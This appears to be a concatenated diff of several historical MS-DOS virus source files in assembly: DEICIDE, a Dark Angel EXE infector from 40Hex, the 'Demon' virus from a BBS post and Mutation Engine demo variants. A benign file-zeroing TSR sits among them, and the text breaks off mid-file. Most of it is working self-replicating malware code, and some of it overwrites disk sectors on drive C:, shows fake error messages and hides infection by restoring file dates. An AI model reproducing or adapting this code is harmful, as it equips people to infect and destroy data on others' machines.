call Go_Beg_File ; Go to beginning of file
mov ah,3Fh ; Read first 2 bytes
mov cx,2
mov dx,offset Read_Buf ; into a comparison buffer
int 21h
mov al,byte ptr [Read_Buf+1] ; now, take a look at the
cmp al,offset Start_Virus-102h ; buffer and the start of
jnz Infect ; DEICIDE. Is it the
; jump? If not, infect file
mov ah,3Eh ; Already infected, so close file
int 21h
Search_Next: mov ah,4Fh ; Search next file function
int 21h
jnc Check_Command ; No error - try this file
mov al,Infect_Drive ; Skip to next drive,
cmp al,0
jnz No_A_Drive
inc al
No_A_Drive: inc al
cmp al,3 ; Is the drive C:?
jnz No_Destroy ;
; if it is and haven't been
; able to infect
mov al,2 ; Overwrite first 80 sectors,
mov bx,0 ; BUMMER!
mov cx,50h ; BUMMER!
mov dx,0 ; BUMMER!
int 26h ; BUMMER!
mov ah,9 ; Show silly message
mov dx,offset Message
int 21h
Lock_System: jmp short Lock_System ; lock up the system so the poor fool
; has to start reloading right away
No_Destroy: mov dl,al ; New actual drive
mov ah,0Eh
mov Infect_Drive,dl ; Save drive number.
int 21h
jmp Infect_Next
Infect: call Go_Beg_File ;call seek routine
mov ah,40h ; Write DEICIDE to the file
mov cx,offset End_Virus-100h ;right over the top, starting
mov dx,100h ; at the beginning, thus messing
int 21h ; up everything
mov ah,57h ; Restore date/time of file
mov al,1 ; why, for God's sake? You
mov cx,File_Time ; think no one will notice
mov dx,File_Date ; file is destroyed?
int 21h
mov ah,3Eh ; Close file, let's be neat
int 21h
mov dl,byte ptr [Actual_Drive] ; Back to original drive
mov ah,0Eh
int 21h
mov ah,3Bh ; And original dir
mov dx,offset Actual_Dir
int 21h
mov ah,9 ; Show 'File corruption error.'
mov dx,offset Quit_Message ; when destroyed, infected
int 21h ; program misfires and DEICIDE
; executes so user may be placated
int 20h ; Exit back to DOS
Go_Beg_File: mov ah,42h ; Procedure: seek to start of file
mov al,0
mov cx,0
mov dx,0
int 21h
ret
File_Date dw (?)
File_Time dw (?)
File_Handle dw (?)
Infect_Drive db (?)
Root_Dir db '\',0
Search_Path db '*.COM',0
Read_Buf db 2 dup (?)
Actual_Drive db (?)
Quit_Message db 'File corruption error.',0Dh,0Ah,'$'
New_DTA db 2Bh dup (?)
Actual_Dir db 40h dup (?)
db 'This experimental virus was written by Glenn Benton to '
db 'see if I can make a virus while learning machinecode for '
db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going '
db 'making virusses.'
End_Virus:
+327
View File
@@ -0,0 +1,327 @@
INTERRUPTS SEGMENT AT 0H
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
ORG 21H*4 ;This is to use INT 21H
INT_21H LABEL DWORD ;which is the DOS function call interrupt
INTERRUPTS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a
;".com" file
FIRST: JMP LOAD_INT_21H
COPY_RIGHT DB '(C)1985 S Holzner'
BYPASS_FLAG DB 0 ;Bypass our checking for #? 1=Yes
ZERO_FLAG DB 0 ;Was there a zero in filename? 1=Yes
CR_FLAG DB 0
DTA DD ? ;The old disk transfer area address
OLD_INT_21H DD ? ;Address INT 21H uses normally
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
COUNT DW ?
FCB_OFFSET DW ? ;Offset of given filename to be deleted
FCB_SEG DW 0 ;Segment address of the same.
COMMAND_INDEX DW 0
DEL_Z DB 'DEL/Z',0
CRLF DB 13,10,'$' ;Carriage return, linefeed for messages
MSG DB ' ZEROED AND DELETED.',13,10,'$' ;The message
ERR DB 'Error deleting $' ;Error message
DELZ PROC FAR ;The function call interrupt will now come here.
PUSHF ;Save flags first (will get changed by CMPs)
CMP AH,13H ;Are we deleting?
JNE JUMP ;No, jump to function call Int and do not return
CMP ZERO_FLAG,1 ;Are we supposed to zero?
JNE JUMP ;If not, don't
TEST BYPASS_FLAG,1 ;We are deleting. Is bypass on?
JZ DEL_CHECK ;No, check if we should delete file.
JUMP: POPF ;Restore flags
JMP OLD_INT_21H ;Jump to function call Int. (CALL won't work).
DEL_CHECK: ;DS:DX are pointing to filename to be deleted (from delete call)
PUSH BX ;Save all used registers to be polite
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH AX ;Save AX last since will pop first and return status in it
MOV FCB_OFFSET,DX ;Save address of the file-to-be-deleted's FCB
MOV FCB_SEG,DS ;Ditto for the segment address
MOV AH,2FH ;Now get Disk Transfer Area (DTA) address
INT 21H ;This will work since AH is not equal to 13H
MOV DTA,BX ;Store DTA address Low part
MOV DTA[2],ES ;Ditto High part
PUSH DS ;Save file-to-be-deleted's FCB's Segment address
MOV AH,1AH ;Put the new DTA in our Program Segment Prefix,
MOV DX,80H ; CS:0080H (CS came from INT 21H vector we set)
PUSH CS ;Now move DS into CS to set DTA
POP DS
INT 21H ;Set Disk Transfer Area (DTA)
POP DS ;Restore Segment address of given file's FCB
MOV DX,FCB_OFFSET ;Restore the given file's FCB's address low part
MOV AH,11H ;Ask for DOS service 11H, which asks for the
INT 21H ; first match to the given file's FCB
TEST AL,1 ;Was a match found?
JZ TOP ;Yes, start checking if we should delete.
POP AX ;No, return status 0FF (not found) in AL
MOV AL,0FFH
JMP NONE_FOUND ;Over and out.
TOP:
MOV SI,81H ;the matching file's FCB is in DTA from search
MOV DI,0C0H ;We will move the name to print and scan for #
MOV CX,0BH ;11 characters per file
PUSH DS ;Get ready for string move, set up DS and ES
PUSH CS ;Set them both to CS (use program segment
POP DS ; prefix area)
MOV DX,80H ;Point to match to open file
MOV AH,0FH ;Select the correct DOS call
INT 21H
CMP AL,0 ;If error opening file, exit
JNE ERROR
MOV BX,80H ;Set record size to 512
MOV WORD PTR [BX+14],512
MOV AX,[BX+16] ;Find the file's size in sectors
XOR DX,DX
TEST AX,511 ;Do we have to add an add'l sector?
JZ SHIF ;No, do the shift
INC DX ;Yes, add 1
SHIF: MOV CL,9 ;Divide by 512
SHR AX,CL
MOV COUNT,AX ;Store in Count
ADD COUNT,DX ;And add possible add'l sector
MOV AX,[BX+18] ;Now for the high part of size
MOV CL,7 ;Mult by 65536 div by 512
SHL AX,CL
ADD COUNT,AX ;And add to what we already have
MOV DX,80H ;Now prepare for sequential write
MOV CX,COUNT ;Do COUNT sectors
MOV AH,15H
FILL: INT 21H ;Fill with copies of this prog.
CMP AL,0 ;Error writing?
JNE ERROR ;Yes, jump to ERROR
LOOP FILL ;No, go back for next one
MOV AH,10H ;Close the file now.
INT 21H
CMP AL,0 ;Error closing?
JNE ERROR ;Yep, go to ERROR
MOV AH,13H ;No, delete the file at last (Whew)
MOV BYPASS_FLAG,1 ;Don't intercept this call
INT 21H
MOV BYPASS_FLAG,0
CMP AL,0 ;Everything OK?
JNE ERROR ;No, go to ERROR
CALL PRINT_NAME ;Yes, print the name
LEA DX,MSG ;And the zeroed message
MOV AH,9
INT 21H
JMP SAVE
ERROR: MOV AH,10H ;First make sure file is closed
INT 21H
LEA DX,ERR ;Then print error message and go on
MOV AH,9 ; to next file
INT 21H
CALL PRINT_NAME
SAVE: POP DS ;Get segment of original given file's FCB
MOV DX,FCB_OFFSET ;Search for next match -- point to original FCB
MOV AH,12H ;Search for next match
INT 21H
TEST AL,1 ;Was a match found?
JNZ OUT
JMP TOP
OUT: POP AX ;At least one file deleted, set AL acordingly,
MOV AL,0 ; which means set it to 0
NONE_FOUND:
PUSH DS ;Now we have to reset the Disk Transfer Area
PUSH AX ;Save AX since it contains success status
MOV AH,1AH ;Function call 1AH will do want we want
MOV DX,DTA[2] ;Get original DTA's segment into DS
MOV DS,DX
MOV DX,DTA ;Now get offset inside that segment of same
INT 21H ;And reset DTA
POP AX ;Restore AX with status
POP DS ;And DS with original DS
POP DI ;And restore the other registers
POP SI
POP DX
POP CX
POP BX
POPF ;We musn't forget our original PUSHF
IRET ;An interrupt deserves an IRET
DELZ ENDP ;And that's it
PRINT_NAME PROC NEAR ;This small subroutine just prints
MOV BX,80H+1 ; file's name from the FCB
MOV AH,2 ;Use DOS service 2
MOV CX,11 ;Print all 11 letters
PRINT: MOV DL,[BX] ;Printing loop
INT 21H
INC BX ;Get next letter
LOOP PRINT
RET ;And return
PRINT_NAME ENDP
READ_KEY PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JNE CR ;So leave
JMP NOCR
CR: SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2
NO_WRAP:MOV DX,[BX] ;Char in DX now
CMP DL,'Z' ;Make sure we are in upper case
JBE CHAROK
SUB DL,'a'-'A' ;Make REALLY sure.
CHAROK: PUSH CS
POP DS ;Point to Code Seg with DS
ASSUME DS:CODE_SEG
CMP CR_FLAG,1 ;CR_Flag resets Zero_Flag
JNE CHECK
MOV CR_FLAG,0 ;Reset CR_Flag
MOV ZERO_FLAG,0 ;And Zero_Flag
MOV COMMAND_INDEX,0 ;As well as Command_Index
CHECK: LEA SI,DEL_Z ;Check the typed character
ADD SI,COMMAND_INDEX ;Find place in test string
CMP DL,[SI] ;Match?
JNE NOSET ;If not, forget it
INC COMMAND_INDEX ;Match! Move to next char next time
CMP DL,'/' ;For DOS 3+, delete the /Z from buffer
JNE NOTSLSH
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV CX,ROM_BIOS_DATA
MOV DS,CX
MOV TAIL,BX ;Erase character from buffer
MOV AH,10 ;Get ready to print the character
MOV CX,1
MOV AL,DL
XOR BX,BX ;Display page 0
INT 10H ;Print the '/'
MOV AH,3 ;Now prepare to move cursor over 1
INT 10H ;Get present position
ADD DX,1 ;Add 1
MOV AH,2 ;And reset cursor
INT 10H
NOTSLSH:CMP DL,'Z' ;For DOS 3+, delete the /Z from buffer
JNE NOTZ
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV CX,ROM_BIOS_DATA
MOV DS,CX
MOV TAIL,BX ;Erase character from the buffer
MOV AH,10 ;Prepare to type the 'Z'
MOV CX,1
MOV AL,DL
XOR BX,BX
INT 10H
MOV AH,3 ;And now adjust the cursor
INT 10H ;Moving it to the left 1 space
ADD DX,1
MOV AH,2
INT 10H
NOTZ: ASSUME DS:CODE_SEG
PUSH CS
POP DS
CMP BYTE PTR [SI+1],0
JNE NOSET
MOV ZERO_FLAG,1
MOV COMMAND_INDEX,0
NOSET: MOV CR_FLAG,0
CMP DX,1C0DH
JNE NOCR
MOV CR_FLAG,1
NOCR: POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
IRET
READ_KEY ENDP
LOAD_INT_21H PROC NEAR ;This subroutine installs DELZ
ASSUME DS:INTERRUPTS ;Now set DS to point to INTERRUPTS seg.
MOV AX,INTERRUPTS
MOV DS,AX
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT,OFFSET READ_KEY
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
MOV AX,INT_21H ;Get the original function call INT's
MOV OLD_INT_21H,AX ;address and put it into our location
MOV AX,INT_21H[2] ;OLD_INT_21H so we can still jump there
MOV OLD_INT_21H[2],AX
MOV INT_21H[2],CS ;Install our delete filter's address
MOV INT_21H,OFFSET DELZ ; as new function call INT
PUSH CS ;Now point to CS in preparation for
POP DS ; terminate and stay resident call
MOV DX,OFFSET LOAD_INT_21H ;Set up everything but LOAD_INT_21H to
INT 27H ;stay and attach itself to DOS
LOAD_INT_21H ENDP ;End of loading subroutine
CODE_SEG ENDS ;End of Code Segment
END FIRST ;END "FIRST" so 8088 will go to FIRST first.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+151
View File
@@ -0,0 +1,151 @@
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; filesize in pages
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov cx, 1ah
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
exe_mask db '*.exe',0
heap: ; Variables not in code
newDTA db 42 dup (?) ; Temporary DTA
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus
+136
View File
@@ -0,0 +1,136 @@
Dt: 19-Oct-91 04:19
By: Skin Head
To: All
Re: New Source Code
;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with: TASM DEMON.VIR
; TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
; !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures
Tuesday = 2 ; INT 21h, AH=2Ah
Search_Rec struc ; directory search record
db 21 dup (?) ; reserved for DOS
FileAttr db ? ; file attribute
FileTime dw ? ; packed file time
FileDate dw ? ; packed file date
FileSize dd ? ; long file size
FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
Search_Rec ends
;-------------- Demon virus segment
Virus segment
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
org 0080h
DTA Search_Rec <> ; disk transfer area
org 0100h
Demon: ; virus entry point
Virus_Size = Virus_End - Demon ; virus size = 272 bytes
mov dx,offset All_COM ; find first .COM file,
mov ah,4eh ; including hidden/system
mov cx,110bh
int 21h
nop
jnc Infect ; abort if no files found
jmp short Check_Day
Infect: call Replicate ; overwrite first 272 bytes
mov dx,offset DTA
mov ah,4fh ; find next .COM file,
int 21h ; go check day if none found
nop ; else repeat
jnc Next_File
jmp short Check_Day
Next_File: jmp Infect
Check_Day: mov ah,2ah ; get DOS date, check day
int 21h
cmp al,Tuesday ; Tuesday ?
je Thrash_Drive ; if yes, thrash drive C:
mov ah,4ch ; else exit to DOS
int 21h
Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
jmp Write_Sectors ; of drive C: with garbage
Write_Sectors: mov al,Drive_C ; Error: doesn't work !
mov cx,160 ; AL=C:, CX=160 sectors
mov dx,0 ; DX=highest sector in drive !
mov bx,0 ; DS:BX=start of PSP area
int 26h ; overwrite sectors
inc Counter
cmp Counter,10 ; repeat 10 times
je Show_Msg
jne Write_Sectors
Show_Msg: mov ah,09h ; show a fake error message
mov dx,offset Virus_Msg ; and exit to DOS
int 21h
mov ah,4ch
int 21h
Replicate: mov dx,offset DTA.FileName ; save file attribute
mov ax,4300h
int 21h
mov COM_Attr,cx
nop
xor cx,cx ; unprotect the .COM file
mov ax,4301h ; in case it's read-only
int 21h
nop
mov ax,3d02h ; open .COM file for R/W,
int 21h ; abort on error
nop
jc Check_Day
mov bx,ax ; BX = file handle
mov ax,5700h
int 21h ; save file date and time
nop
mov COM_Time,cx
mov COM_Date,dx
mov dx,offset Demon ; overwrite first 272 bytes
mov ah,40h ; of .COM program file
mov cx,Virus_Size ; with the virus code
int 21h
nop
mov ax,5701h ; restore file date and time
mov dx,COM_Date
mov cx,COM_Time
int 21h
mov ah,3eh ; close the file
int 21h
nop
mov dx,offset DTA.FileName ; restore file attribute
mov cx,COM_Attr
mov ax,4301h
int 21h
retn
All_COM db '*.COM',0 ; dir search specification
COM_Date dw 0 ; packed .COM program date
COM_Time dw 0 ; packed .COM program time
COM_Attr dw 0 ; .COM program file attribute
Counter db 0 ; used when thrashing drive C:
Drive_C db 2 ; INT 26h C: drive number
dw 0
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
dw 0
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
Virus_End label byte ; virus code+data end
Virus ends
end Demon
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+196
View File
@@ -0,0 +1,196 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsb ;Restore first 3 bytes
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov al,BYTE PTR [old_cod+2]
mov BYTE PTR [oold_cod+2],al
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw 55AA
oold_cod: ;old old code
db 0,0,0
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

+205
View File
@@ -0,0 +1,205 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsb ;Restore first 3 bytes
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov al,BYTE PTR [old_cod+2]
mov BYTE PTR [oold_cod+2],al
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
add bp,30
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
add cx,30
sub dx,30
mov di,dx
push cx
mov cx,18 ;put mul cx in 18H times
mov ax,0E1F7
rep stosw
pop cx
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw 55AA
oold_cod: ;old old code
db 0,0,0
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

+214
View File
@@ -0,0 +1,214 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
; De-Fanged for experimentation by Mark Ludwig 3/24/93
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
call isinf ;see if infected
jnz infect ;If not infected, infect it now
find_nxt:
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsw ;Restore first 12 bytes
movsw
movsw
movsw
movsw
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov ax,WORD PTR [old_cod+2]
mov WORD PTR [oold_cod+2],ax
mov ax,WORD PTR [old_cod+4]
mov WORD PTR [oold_cod+4],ax
mov ax,WORD PTR [old_cod+6]
mov WORD PTR [oold_cod+6],ax
mov ax,WORD PTR [old_cod+8]
mov WORD PTR [oold_cod+8],ax
mov ax,WORD PTR [old_cod+0A]
mov WORD PTR [oold_cod+0A],ax
mov dx,offset old_cod ;Read first 12 bytes
mov cx,0C
mov ah,3f
int 21
jc read_done
xor cx,cx ;Seek at EOF
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,7
mov word ptr [new_cod+5],ax
mov ax,cs
add ax,1000H
